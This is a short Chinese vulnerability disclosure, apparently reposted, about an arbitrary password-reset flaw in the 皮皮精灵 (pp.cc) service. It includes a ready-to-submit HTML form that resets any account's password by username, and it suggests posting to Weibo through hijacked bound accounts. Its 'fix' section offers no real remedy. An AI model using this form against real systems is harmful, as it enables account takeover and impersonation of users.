皮皮精灵修改任意用户密码，如果用户在皮皮精灵绑定了微博，即可使用用户帐号发送微博
皮皮精灵(http://HdhCmsTestpp.cc)
问题发生在找回密码上
这里不说过程了 直接来个我写的form
< html > <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>找回密码</title> </head> <body> <form action="http://weibo.pp.cc/member.php?mod=password&action=resetpwdSave&random=12312312" method="post"> <div class="retrieve_main"> <div class="til">找回密码</div> <input type="hidden" name="username" value="只需要用户名即可"/> <input type="hidden" name="email" value=""/> <div class="content"> <div id="reset_password"> <p>设置新密码：<input type="password" class="text" name="password"/></p> <p>确认新密码：<input type="password" class="text" name="password2"/></p> <p><input type="submit" class="button" value="提 交" /></p> </div> </div> </div> </form> </body> </html>
利用这个表单即可重置任意用户密码
至于帐号 可以到那些微图下面去找用户名
进一步利用
假如某个用户已经绑定了微博
随便找个内容转发一下
修复方案：
安全，人家可是把发微博权限给你们了的啊！
查看更多关于皮皮精灵修改任意用户密码（从而控制用户发微的详细内容...